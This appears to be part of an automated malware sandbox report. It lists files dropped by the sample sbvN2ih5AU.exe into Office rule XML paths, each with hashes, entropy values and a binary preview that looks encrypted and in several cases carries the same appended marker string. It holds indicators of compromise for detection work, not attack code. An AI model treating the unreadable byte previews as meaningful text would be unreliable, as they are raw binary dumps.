Preview:	<?xml,...Z..G1p.yo^.2..$m_.......9.).....b...m.......X?Z6......`............p.u..hH.~..v[.T...E43......U.YX.O...]..k. .(..`....7..W..)....P@S.KD........H3...V..o...~nW,...S.cf.....t..[E"-7._eIY..-....3.Oj\|...n.(oxU./....m?$.N..O..;..,;....4N\|..#...D..&!.9=.;...+..~...~.O\.4.Vn.?v'..wVw...y.@..?!..M.....v.Y...(..4.....n.......'....{.m.......z.q.oF>".9....{=.n..K."'..%..j&b.{.....W.3...n.'...`.n.,.....bU..B.PW".#....T.~..../S.m....2y..\..t...!.K.Q.f.5...D.8...L...8s.."H!s..=+&.rt.......G.MC...X.7.2..<HL......n..m..E...-X.....8X..G.T..Z(B.L.j`A..r(.'(.~.0......1...Y..l..`^....X[.qJ.._ya.y9Q?..e`.".P.MD..6.......n..A.Z....a\|...e1VO.\.cO.i.o....'.Ql.I.....pl...&.....;>....a.."...>..U./b.M...C.NYc.s.o8...T....Bk.'..0R..bL:...P.t.Q.D}..'.....U\|j.neV.......Jw*..f.&...Vw......\|..#e.".......$Rn.e)..>`U[.@oc%=[-E..7.1.J.DeS.\%._.&.P_.t..W.\5.<Jb..t...z..: K..pA.....R.c..:N.k'.1....~.I...?.f._...@..&.T`.d..B.9!......@.....y]....gf.1]9..V.e...kb.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11890v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1419
Entropy (8bit):	7.860926585638242
Encrypted:	false
SSDEEP:	24:VqMqvLBJWhVBqmOfrfDKJgHWfWPtea2g9r5bxfBV5D0YolKGolEswfKcugKAV2bD:VpE0hVBIKJCPc6/bx5Vx0LluvgLYD
MD5:	D4F9F656E3AC5A8762A8AF139FB21160
SHA1:	A23AFBF0DE407935039D8A818DD1D97B0F188BEA
SHA-256:	73C43E1A80A4F50A3EDEDB471F1B47FCA7C7F24F350C7E8B1FEE47DD07BCE181
SHA-512:	E42304129C37F385CCA5FA614CD6CD2EE5DBF7766C153D193189D326616CB6A0D5C161775945FB0827F0625B3CABE401AED6E42DCC998683894ABE70A437BC61
Malicious:	false
Preview:	<?xml.q.Rb."....E.....5...P.3^...tZ..cK.(.G].z....). O..L.<..7(.....Wl..5IR..(...sx...i<r.?....+.7.].Z.......PU{..Z.....s3...r..Z...=Q...4.:/$.I....EU..Z]...(@.>..1..`...d;0L...t#...\....>..'...q.r....;,...W.V....{.Jc.B\|A.......E.rr..w....4..]...k.4A.S.t.S6B....E......._.q..L..G.d...T.T..+U..."e.(...J8C.5..-....i.$<.V].7.{...\..EH....K`...Y.Qv.k.[.9.).%...K.2...o..Y"....1l..S.....u/..<.4....U..!.`q..YV1x..M...RI....'..J.<.y1T..i..j.n..-...t...R...Pz\|..o.....=wR(. {LRO..>.5..bB.;$%.GA'......y...E.?...C.(Y.J.6y.....W.........K.Cq.:..I.D.O..\|.....{}.4{=..y6....FZ...7..=.S]....a.\...4...........]iL..G..Z.......`.l..n......Qx\.......Z..#.;..R9.Nv.g6...Q..b...\|...ka.....i...G.)j.0@.R...$.......I.\....$X..(j...l'g.C.s....;.7......K..M.t......E.6..L..U..D....>7RHe63!...gm..1....hO..mG.................im..[6.{R...K..Q..4...#...<....c.`.h.&.b..c5....[cxq...#..."..}.0.V&Y.c3O...........Y....O.....3DJ...fr.'...DBH.N1...=W.....+=,.z.'..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11930v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1546
Entropy (8bit):	7.873148920671118
Encrypted:	false
SSDEEP:	24:18EVLtSyxVoBCzDCIiG1AQ4TviURfCyLW+T+E0/jVdRYPt4+JdQrGGr2bD:yEVJSyPcXIiG1APT63yCi+9VTWCXLYD
MD5:	9B4FA3464E2795D06BC9BBD48993522F
SHA1:	0AB253280392A4F28D6D2941989C895195FBE079
SHA-256:	44D91B58459243EA9F0459E65F27ED7EE97DF09BD105FB5FCF3EA163360F0601
SHA-512:	E682D4D1407B98D8CE66169D549B823E4AE53D7A2FB121D42DBA41B19FE4E6D9BC0B486C760C507CD625AD696A6A4E9DA201BF7BE8D5CC0AF2290A427F355384
Malicious:	false
Preview:	<?xmlh.E?...QM.$.....@NU.......^.j+.E..<.\|..2 .4H..%.I.)+.lX.1NG...{...`B& !..+;....d!z0,.B.-.#...!....o$e8\|.H.....,N#........7.._./....yQ.v..2.u5.....l2...io...<f....@..i......tc.J...R.-..W[..h?..b...7..../..:;.......y._..cz..B..W.bB6..o7..Y....P..m.U..E...~gE/.^.....v>.h....R.MK...JBd}..%l...44...=P...a....00..}`. .Me.0.....3-..o....K.u>1j.t2}<LX.rIj...r2.k....\|I..%$......g7}.p..rF.t.:..".z.?..x...r..m....W;Z....n@j"..`........I...0.(CE.l.&qfe<..z.}0..i\|.c.....4...@/. )....b.4....V.....,......O..\|V....:...y.R.........N.h......p.......zD.:.(.......A 0.Y..EKHB.#.F....~..K,m..vO).6~...Kf]1.<.f.-...<...KW[...t....g.\|..k../.H.Z.l... ........Ao.>.=..5{f}.4.R5.8.T..k..s...I0..K..v...y........oB..]..a..f.....e.Sd'...6..8Lx.O.VVP%1eo.Go.V.4......'.,.R.G'm....`+..~\.....X..VM...`>.I<W....>Zg".........g.......O...f..(?U.6"D......z.)........X..............r.:.O.......l..X.Z..#..U..........?.V^.hk.JM..#.8.H.jaE.inA.....D...u3.(9.s.1K.C.W..

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11931v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	903
Entropy (8bit):	7.772879189375541
Encrypted:	false
SSDEEP:	24:ZMghkcr2pVIl9CXiqRgBR+/uJUgTSqNUTGybfH2bD:ZjTKVInCS+WRruqaThoD
MD5:	E4E106242EA52A4BD7C07E16D4F7E969
SHA1:	6689C5857E723B4992B9F71B506B2B49ABB680D5
SHA-256:	468131010FCFC328FB1450FC7FA63A20735091F2A76D4857D9412E94078FB71F
SHA-512:	040B524FF46E49A195B3ADC50C11C0EF3ED22C258E3D452F72AFAA2AC7BD2B13C8A39EC36EB7C6B434A61D026596FF00457C68E0A728BC1B3FB4DD8DA3E4F4A4
Malicious:	false
Preview:	<?xml..V/.i.J.i.A.R.q.$....Z.!...TT..<?..!...Y.v...Q.uU.T.N..-..i.>.u0..T..i+...0.M...x......q.m.%h..}i.CZP.f..h.o`...W.4C.5.Gs.I1..2...CE.W..Z.....JqAQ]-\.......8 )O.$...e.Ms.....$..!..8)....Eq.2.c..L..hj.1.\...gq.......a...(.lX\|9..?..3..'.!.e%a.4N.....$(..P.!.......>w.9..d4.q'pI.1#.....cN.J..P..o5q..G.wa..x....\|}.m.e......W(f.dy..._..p......p..Wb8Y8Q1...;...?.s>..@..=m.&...~i`.A0...dZ.4..=).....'.....$..[N.2..>.wm...+..RK.].....\#.j..Zu._.H.yZF=.......D9..b{J.......D.).J...^.pj.....%..i.6..N..O.:..?T!.)...V..O(_"b..#...}...EJh....H.>.Uf..aV.tX_.wu....I..{.....\.}7..0.A8Zm..3..5UX..]A.........GD...e.._iD.G.....FLig.0`m!..8.z.@{)pQ..>.`.u3y....t..B.}.."..Cwv=..#~H..7X..4..X;R.k1.\%0{...#.,x..y.?....LK?...Jx.G...........j[{[........y....T......'...8=....0.I^H....Q..w...i...BmMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11932v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	3566
Entropy (8bit):	7.9544929927003
Encrypted:	false
SSDEEP:	96:4CAAaoyhs8+ocmU3pND4081OMXwXP3phqD:4doyhs71M7OMXwXP3pU
MD5:	FBE608C9283DD3A143A8159CE1ACCB2F
SHA1:	08ECBCC81F945F71FF0E19ED497474C17A0AFD2B
SHA-256:	EF44FC611A6674DBA011C18C03D7CFCD370BEF07F60592890EFE74A6072F76A8
SHA-512:	3DC0EBCD36AFE60FF690664DDE1CAECD6F3DDCA97158679A3568636604D8C5BE91B76C86E596660086E6A347F9F47B1F0BB896D44211A4A3582B4DAE60BB6A95
Malicious:	false
Preview:	<?xml......a.5..?XX.. ....+~+^.".Gm.`..{\..7.<C.g~....,.Z....j..uS...'..u.\......].kn...!R.H;.J....t..I..BKO3..........#...#..d.Si.~Kt.m#6..O't...$6V....7=..............]....N\|.c..C.rg. .0....Zu..L...a;...b.\`.:...)76.......7.....ES..a.....~d..r...U.......V.3l.......6.....>..D..Zf..\B.....I:.8..o.......k.j_..?pc.-\|....LV..GPR.Q.e.....X.i}..k...E.S...@.w.F..<q.A...+....1..1.d.B.........s'..-..(.h..f\|L..RP.....#.<...zHl...%..u.5i...$7.UG..o..gj.......Xy.$p.......2o:e...7}Yn6..u...+.Hg...PVK..iV.[..s..+u....O.6..L............^8.}\....y..!r..M9\|yA}h;J....U.2..!...Q..j.&..[M.=.kH..,.".]....'.:"..Y2.?....1I6.0.>..x.}'].Iv........YK..A...:...m.c8\|........5d...7.e..B..8.O..8u........N.@... 9.W...e..\|\7?..N.l.S.&.W.....D...ac .....z}.1..+.....V..>h...wP3x../...B..;.FB.wF..x...M... ...W..g..S......q...J@.. ).^...*...<.CET....vS7H.O.?~....6.........S..@e}.8.i.m.....Pk...R..(e.....s...$...T&zo.^a.x....>..-r......Sz^.j...J.6..V....Y....n.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11933v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	3677
Entropy (8bit):	7.95412171443595
Encrypted:	false
SSDEEP:	96:bgni3K3QG01RN4VNLavnV0T+gOskVGM4qurWS:bgniaATRN4DmvnVn+24quqS
MD5:	06510AB6A4CD672F32C987C1FAA39D5A
SHA1:	C0D8CF7621CBA3175194FBD56B4937E87D3E4DD6
SHA-256:	26DF2AFBCB97860B29FF1BBC180880E7D41E84C7D3FBC068D7E83C819B16814C
SHA-512:	4B6E628551087954AAD94B96272F483221A8658CB712E9021F131E6C1D3AEF0A7EF0CAD5715ED6BBD53FD2BF88E0E9F375264881F8F18D8D777DA3DAF7D26547
Malicious:	false
Preview:	<?xml8.rbo.1...9 1.o!J..y\|..q-.7....;t....a?.....S#..Rc....e......,{g......C..r...@..d.e..hm...%......M5....?.&.........[..I' .........Md.xL.D........1.....%.G.....s..o.....~.N..\|^...._/wW....c.4h...i..mg.?.....`....5I......a.-49..__....vcT..... cV..c9.3.............nC..&}y..k.w........6.....<L...4...t\eo.B\.........sL..5Y..0_.........{Ly....G..O..#N......0lw.2.......K.P..a.6.....Paw4@......c?..I...P.../.f..y. ....9c.w.d....0..l.E{..HJ..0.F.W.H.*.8..R.uX0.W#.1...U"..DZo..$.{.x..]yd..p..;>..H....w[...~..'..-.=.M............S.V.M,y#.^=]Nymq.Kc...T 7.....sK.).J.pkv ..:n..f.T.Ory\|...E....[MJ(E.gzV.....\|.i{....TE.B...0sE....y..op...+...,.=..Z%.EMI$7s..... wb.6 ....I...m..!O..0..\|.r.4z.3.......og...F..v.....2...=...V.!3..i....Lr.[..o...z...S..;......D._o....(M...s.O...t..-}.....q...../D..{z$M7....F....f\|...s..\|.i.2.EI^..r+x.<&k...HS..M...s.'_.u...)..Y.w..s[%4..i=.h.w.Wa.%.........!.c..../vC...gz.l.$..Wt\hy.. \4S....jx.yFh.....0..[..H.~2n.L.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11939v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	744
Entropy (8bit):	7.668400897574136
Encrypted:	false
SSDEEP:	12:FxaFnWhLtX6TJpEqDZGL1WrYa+UczBuSp86lk55h6cW30dNTfv/auDlZA3IP5SUn:e1WhZqJpiL1WrYa1W48OJWEjjaqZRPMw
MD5:	2879BA972A76F4E895CFC5694B50272B
SHA1:	BF99D89AE9037C2440B0FFC2BDEB799B0425A5FC
SHA-256:	CC0F2B3DF4DBBFCD178B3DDC8267F73D509395D9B1CDEA15C846157D5528797F
SHA-512:	E3610ED11BDF5B3DBCD94FB2615091506CE6A94EC0DC78223A33CBB438BF6F9DE7E3A22BBA9D4816319924E381FB1E150EDD3C08EB3403325C53B11519EA62FE
Malicious:	false
Preview:	<?xml#..;~.........W....X..=.o.....6.n...J.Wo.......=Y.....V.o.x..Cb?.....$.#c...=.$..t.d.(..y.4..P..b..K.c..V.[...d..Q..!.M..Z...0>.}...H....i.......cf.....".=..=.+p.D./p[.Eq.x..7M...}.o...x?...}#.o.S...!....j..1n.j..4P..$(...6..V..1.....#.E.g...... '>.?Y8.$.Fh.u~....d.n.!...k.}.Km.4oq....4..U...S.:..":..P4.n3X..q.y]..,+Y......E..wJ.m/..6YOD.C1h...X..../\|.'._.4.4..$D.n.....N..7/.._R...\|.....ij..KV7.i....A.D........q...........C.Z...........8....X....7.c[ .....R.8.V...^......id..\...7..lR@.r.3l. .X....U..zg....'....+...oQ...w.S.D....f....z.....9..E=.f4..\|.0V....5......;...&......Y.R...l4..O....:.._...d.o)(........Xr.v..mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11950v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1620
Entropy (8bit):	7.8844718951624015
Encrypted:	false
SSDEEP:	48:GuvDn/RrDg0NqZjh9eODvZhVcqnvvjaSbD:D/Rr80NO9eOFP+SX
MD5:	8190F1605CFC9418BC309E05AD3694A9
SHA1:	8D5CE84AD7DF810F0F709FB2952999960C571EE8
SHA-256:	E19606F808CE6B75BDBA544B9B96A5FDBAF6B84E4E26E65B46C6D57CAD634DAC
SHA-512:	87BC35E8D4B0EBD663891FFE2FA8D193E69EB40844DF38B73531352832D289E2A5FB164C980AC2D110AB271EEE8A571A9F5E9BF20FA0473AB1F3AA609C88D0DF
Malicious:	false
Preview:	<?xml....f..=.........I.3....&.W}..^ss\|_....i..~ ..b!";'.RV..}..j/.9...[.q.e3.......d>..G)n.D9>l.G`..F.."..Q[.Z....,.p.33P..H[....\Y.\|......&ZE.5...\.B.u..h~...O#.a.1...Ip........P...^a..-.\p%........U.#d...7>...(..m.....9..R...)....Pt...#.i.".Ld...qYEK(^.AJl...LN...pG...G...4.W.C...vwO:.....4...^...p.e0...\, ...q>...vb2..>D(?..D..].....g..$6...3.....m.$.3.......o\...%qS..S......V....<<....{jc....H../....8.=.d.s.$O.M..U^.%m.Y.y$].I...&..x}g.......^....^.y.P.N.....E'..\R."K...@a..{.?.\|.^L..,.......i....N.....l"3....8.o..):U.<s.&....v..........%.S...Q.......M-.M..W.0..n.R..y....f.CG.a"....\...HK.u...W..tH......G}w...\|....\|E........`.;.v...Y....'...U...e,..\|.X...<."bK.G.U.?.....R.<".......8....r..e...fQTo2#D....)........H..2d.M...@\|..F..8<....8o.......[.......w.!p}.Eo..O..j.%..kl.75U.e.3..u<.......d.fi.@.j..V....]a....[L.>U.;.8._i..\.M>:gy<.8..g..Ab...1.y Zz...E..4Nk.S.............j...*....}...9W...R.%...~....F...1.s.HS..q....@X..'...

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11981v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	821
Entropy (8bit):	7.746747117110891
Encrypted:	false
SSDEEP:	24:ARvP7crllZd6rKbzwKdMq4kGfozqemA/3RT2bD:0vPgrzZd6rWp6wmemC3RAD
MD5:	9F0B27E330EB82A58B775AFA879DEC30
SHA1:	3BCBF697050FDDF6297F68EA2AD909DACF8EEDB9
SHA-256:	643854CE56A1CF0476F4CEDA05594657E315DFD7D71BBC470F01B0FB54E1AEA4
SHA-512:	563B90A76B8EB3C366EEB837AA103B5071A18191DBE7604F6E61C1825C65AF4CB2AFD9D2025673DDBF9987E73ECB76020876DE65EF5F82FF33D889D9D0EE9A23
Malicious:	false
Preview:	<?xml....\.n.7M............>].....k....)....IE....4...F..i..wv....Z...iv......9..bWZB9...\|..0..p@(....',.gV$.}u.&I.....$...4.e.W.~...N.^S.S\w.l.Zc.e.".Q.2^..oS=.....)....P..p..5?...U.M.wu..%........A.F\J....,..w.../..c;.{...P;H...........#.....eN,.Z'......(8.:..9....3}..g...A.w`..geT. ..a..=m..H:.v.+].....@......y..GT.9O^a..>ON.......`.5....qOK.O.m.t..w...nm;]..3...D.c..w..s.......p..$H. K.G...N.@..t..uTB...{.u[..c......~.9:..=....y..%@.8..!...j?..sOU.uPL.O.4.:...k.........y...,.#....J..N."i...o1.....?...f...kO.".....s.<.<..g..>A...\|.B...(.....iI.AZ.2.j.\u.\.(..$'...>.+?..a.c._.rn.Q...p\.h.0.P...Q.\.%.7...../...Uj....}xf2>t~..5...iK.#..V.zny..e..L_.....YI...j....z42M...z......;.v.s........!.._k%limMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule11989v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1034
Entropy (8bit):	7.810197906702792
Encrypted:	false
SSDEEP:	24:evl1CutO0h1/5QCchRQs3VvcqHFXEoaeOv9h+2bD:oCug+9qCc9HatD
MD5:	A76506241C8D85D2D0EBD906EAC1D52D
SHA1:	C2A2BF6E0622119141313780C0811FE2FBD42952
SHA-256:	6B1675B093A4DB8FACCA8CB0B6EFD2A2BCC9181C636FD293EF6FCB64FF466BFE
SHA-512:	EC85D68FB6FA154D024CE3C1F9E8107AFBE15781750EC8971E20115A094A408F01D77ACF4BE0AD20257ECB895CC24F014F2C3E7942862CD59E801A99A85174F9
Malicious:	false
Preview:	<?xml.JD.$b.+..y.........a.5JK..9....).`1.E.$.....xXS=[;.l...o.\|.......`3Z....x.......b..y..f."..\.@..p...c..(.>...w.3....? .....Y.y.........J~......N..x...D>.n.].....x......S.f..4.....@nx=..uR....t....9YT$.7U.N....a..1T<.(\|.a.....P2..(....$.`..........!y!{X;q.{..3>.B..c(...... e3.....+.i.lc.Y......5.....i.C..k.!@..Z.>..8p....Q....\.f...g...<1~r.....5)............4....a^/.4.:.$....<.C..o'5....v.U.T2T.....~1....y(......>.....d.:.c....r..#.P.r.F..q......EY ........A.......I.."..h.$...h7..s>...8E;..J.U\|..Z.(.:Ny.K.......5.......'.W.mxAE..Ri.u..XR>......6j..3......<r..t....5\|...#VJ8.0.e.Y..T..(]..X.."X.K......V..(.....)-.[.fGb...".W..\.=a,...........i..\..W...h..,h..L.....V.`.0n..y...&(.f..4..P..f....=?.`.........v......Z...-....X.T....za...l...u.......ab.a,......4 ......?......>(Q....N.W.Mr.mR..#...@.....f{8.&lf.:..\.T..f..X....x#.^.(yf....a.q)[k...}.W....r...u...iRf..q..2z....Tq....*#g'k.....mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120100v3.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1333
Entropy (8bit):	7.842743007454419
Encrypted:	false
SSDEEP:	24:YOBB21FYMZkp//gffBm+nsqj/ncG037DQ3XO6h0onyuko9aS2bD:YOBAYYIcAJqj/cG0370Ph0onyOeD
MD5:	8EC894916DC04E00D02A0E498B82AE3A
SHA1:	D1C777AF38AEFCA6AA95834A2A9303B0FDB3FBCB
SHA-256:	0D0EFBFD7D52CB6B9AE4B66E67162C2C6936D52AD7A158D48856C4D18B36136D
SHA-512:	07AFB9A4DC8A179F963E6D0B7BB40D018B915A8F6402D3D62A98CADEB91E180CEF50FE274D054C7471C48E61DA885869CAB97A318DC4B22E8CAD234ECC459B44
Malicious:	false
Preview:	<?xml...y(..C......t.x...mvL..9.L.5..xU..+.[..dX.J.....@..rl.'0U[v.....z...j.B\..i...e\|..By&..Q..H....I.Tkp.s...(..D..R~~LPYR..x......aH.!F....A.?.>.qQq..W..=...y...>...<..k...U.....Y..(....U..o.E>.V.@.M#..$l.D....5...7.a.^7Z@.n....L.N..(...A.^KX.h.,...+9..?.A6V.w%Q..3u..'........2......j..u..dq..>>..`H...fY...Q...g:YIC.UuZ\.y....\......Y.<....]..Pr...^./..A.I.....A.Q.....]...yK..[......].8..BG...K...I..(. ;f..*..s6&w...\|..........\|PT...x..\jc......u..x...B.L.9.S....TrD.4c..>sn=h.i..j..p...`.0....}s...A...........%.....,.{...p.k..(.2..-#.......s..I-.?.-M$..B.avjD.8..P#..l..)=...>............=..lR...:..2.?.A.^.#..1..A.g..,...gi.$.k....@%..H\|...F....W3}..U..v....&.w;.l..A.B....F@&.....%.u&...y"..<%;.&...U..7.F...r5z......\|RA5.....f[sB....e.>..K.X..c.?t{....wv..-..._0.VUz..-.TS.$.Z.......-G{............. .s6....G.....K.[$<:..D.....?V...<.k..d...Tq..\...f.\|..0@U... ..Z.29....P.s..v.4......oy...........7.)u....LSz+....m...%Z......U..Jz^^

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120119v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	1665
Entropy (8bit):	7.88355546583163
Encrypted:	false
SSDEEP:	24:UjLxhFq5IO22l53tFk5CLBu4Z07io8EcZ9EuOV4MvGvF/ZvHaHCU/aErkjF4X/XR:Iv4W2l59Xt0GlTEx4Mov6vbrk+/l8AD
MD5:	C3C526C22F7589466D1E38EFEF38AAFD
SHA1:	2A060F7BB67C1FA3B30B727995EDE45E62BC93BC
SHA-256:	047A4D0115B953FDE4F78E438BB81AEEDFAE79C9EF9C95104B2B7BAE23A87844
SHA-512:	12C66C9BC6792F90FCD5E9BE34F7DA7C576A0646483E03089987D77C38B9FCD2D64EECEF7AA248E1A9DA7652E0F5AB0E0E5F66B1EA839DED172F36867910A69F
Malicious:	false
Preview:	.<?.......v....M.zB;..a.%.f.>_.M..4.2..q.... ..0.[(y.0......C.DF.v...?"W.`..78.;...Z.c.....=...k._.Q.n.\|g.....?.%:J....W...\|..,..4...hU........8.i...j.D.B.t..]h..$q.. \|5s.H....5..7[Mh..-U.......k.P~.sy...MH....2X...c<+#.J.....3.sO.7Di..q[...S..^n..Kk..f.{d..r..2...kv..+...z;N:.1 .......EuS.K>.....iYN.E.wX..#:.\..0.M...r4..:A.~R..0....c\|l.{/.."...(......5..c.,-.\|....V6..-.&$BDl..h.E..29C.E.1..Xf....T\..........P.......dw...Y.....s.-.......EJ.....E....:.(^ ....qMr...gy....EZ..s..r.........0&.......b.!c.M...#].I.=f. ....y.D......I..x..>.Y..L.n..>.,P..j.d..J....(.6.P.H..Lkzk...%N?....,....#...DR..K...p......wr#>...j.0.c."....=d....J......g.....m..S6^y..z.....'p.B...gt....J'..-..Tb3?....N.......,q..u.E......C.0>..Li...wa..yE..Y........\|....PY....M.....K.\|...>....#Sp.Q(.=..>.'x... ...y...}..".i.E.....+fV.....F=..D....a...2'5....1.....k....PV...Y.B.u$:.q.....m..)d.c...?j.....).C.....l..0w.G.!....&.`../$.rB...oy.....Y.x........n.G

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule120128v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	992
Entropy (8bit):	7.783044811892589
Encrypted:	false
SSDEEP:	24:em+ByjuDNN5bqulTcIpww/a2yEW16FxNS02pa3Q59CMxr2bD:exm2D5+uVDi+c6NSP8Q5QYYD
MD5:	1B71E1713F923141A92740C904CF03D4
SHA1:	E3660265D55BA666AD3627FEFCE2093B19687B67
SHA-256:	B41B7A66290DD808F5928C370E7CFB25ECC5C2AEA9865C0CF50AD7B9EEC5914D
SHA-512:	86533A7EBF4B897509A0BCCD7E2E2EA4694E582A7419C165DDC16283CA2BCFA1B66A05C9968D2EC96EF7C989B64EE8C36A2DC2A0B2122728C8373961E082C885
Malicious:	false
Preview:	.<?g'..g'..`\].Q.="VM..\|\|.F..:.T..^...$....t.../Z.^.7.5l.z..c.."....S.-.yN.m.D.F%...v..@.(..Y...__...I....h+E.../&.E.,....#R.+2.X..-'.).(..<.JE.......'.T{..D.Z#dI.Fc.x@.......E.3.......{hV.4..!.tD.j.....'.".........PQ.:?.?G..K...._uV.z.x.n../T..N..G.(._.........j.1.......\|P...jk..B..+=s.Z.V.p.T.+.....+7.jq......w.,.4a..0...G....{-zD./Mt.{..IJ.....k...f..J..f....I.=.!...`p..J...R.V~.+._0...w.\|A.J.a.n.6...(Z.....E}..eA:H..OjWf....Hf...\|.w.>~g.....r.G(])..<..lWa..?w.u...bI..'.1.Ea...,..E....+T.\|..'....[..g..z...9.Ji...C..@C...{.+.@.b.[.;.wg.....j.......%0b..e.KQ...7..+O!.0."...I<x...S{~l..c.6...w.pR.Ic..bC..Q.'L....x..).....4/..\|......b!.x}..=...-4...`N.z.S.+..7.{x.......Dem79.*..@.bl.D..,q(ct#...&..=.......;.k. .....H.R.'..6{s...N..P..E-...m.....v!,..._..q.&.>"..[..AC....y.b.....J)1<.P.5.z..Z.........'&n).U..3.....r.}..U.U66T......I^.4o..n;J=@.G...ug.:.m.mMsRxMUuXypapZbGOAfxD9pczHmW8zVRP7Pgjwt1{36A698B9-D67C-4E07-BE82-0EC5B14B4DF5}

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule12019v1.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	4150
Entropy (8bit):	7.95442042857982
Encrypted:	false
SSDEEP:	48:3K0Hesh5mtQDVjx3bQuHqMrfgROriTa2pz4F9sBkrGW50SQ4ZZQgXr6YjaiqwVbM:D+sRkudrUHTjZ4ndG+i4JrTqwVavCFBY
MD5:	829F4C8F3A0363FE98D5E3E0D7252DE2
SHA1:	1408CA02137C8E1320EC46E997B2FEA4EE7B5675
SHA-256:	4707E97A3758FADA2708EAB7EFB417073C03AD76F98B1A522B31BA3AD99962BE
SHA-512:	82AFD6A8A5954201D2F24B5BF3FDBA3AB3329C35208FB9EDBE576333319CDF82C38A494478F3010F1813D4D99ABE5D1E832B9AA802CFDF80646D4B4D5E53754F
Malicious:	false
Preview:	<?xmlh..k.S...P....V+1>.."...Q.....(........A}.sS......d..~...........\|"...l2\.m..b.Z.4/[.R...\|.x5FpV...e}.JJ#.t....A.4.]..k.e."q.I...8.........&K~.sO...........{L....f...H..P......Y..r.b...a.5.o....UYrl.N.\...ox.h.=4/..>.V..R...2..5_FV.`......;dl.X..V.Qhk..'.F+..xu..+.U....K,.....~.$...H...]D.#.{.$.d...R.n...J%..e........-.rE....3p.V..USs..H..t..h...N.k....m.h...'...w.L.....@..,>K..B....W><.Q.....#...L.....1D..+B..\....Rq...$g......uV..8.!.-.v..../...Q.m.D...e..b.g/C.d.+...o.LRa.;.:..[.+}..Y.B...@.1\|x. ..2I].0.]1....X.D..x}.3....\|....5.>\|..p\|.p....h1%.F.=. .}S..8....!-}.C..k....".zGR....}e.w..o(d......7....Umt9..T.....a....._.@.k.....}.3..5L.z.DpG...B..z...k..z./......F.f..G..z.)...Rv.pF....w...8..w..ujB0X`N.QH\|]....t<[.W`....y?#../<..i.....^...;....bB.....Xn....K.xy..x$.h...[.../..%VL.....o..)..S.5.~.j.Z.N....HP.#..u..g'....G.L\.7[.]X.W.....mN..y......-n...-.w....*.m....t.[..!p....Xg.;...u&.\5.2..x<.......AL.W..u.w\|...R..y.

C:\Users\user\AppData\Local\Microsoft\Office\16.0\officesetup.exe_Rules\rule12035v0.xml

Download File

Process:	C:\Users\user\Desktop\sbvN2ih5AU.exe
File Type:	data
Category:	dropped
Size (bytes):	2801
Entropy (8bit):	7.9340971784843095
Encrypted:	false
SSDEEP:	48:x4tG1xmkGjm6Q2j5vBkm/xxK/+GP8Jsj7Q2fXNrFSkRY+0oxNQj0oOD:eQmDQ8Fuek+rJsHQ2fX3SkrfQs
MD5:	4A3E427AB4093FD580B06B7FF1DC5828
SHA1:	D7DCF4FD274264722AFE4E89CBC2940DF86ECEAC
SHA-256:	7223CFD7DDF4B25BD355559A66B3D0DA2115568CCE5CB86D89EAA5AA6A4ECE01
SHA-512:	404BBF07D5C6BBBF2E59A6F1277E617C28DC0D8F0DE4CF6F4782BE01E593E9F19ECDD7F94A2A8BFAB564C5B627210F5CC924BFF3F8516E2FD3909E9268078CB5
Malicious:	false
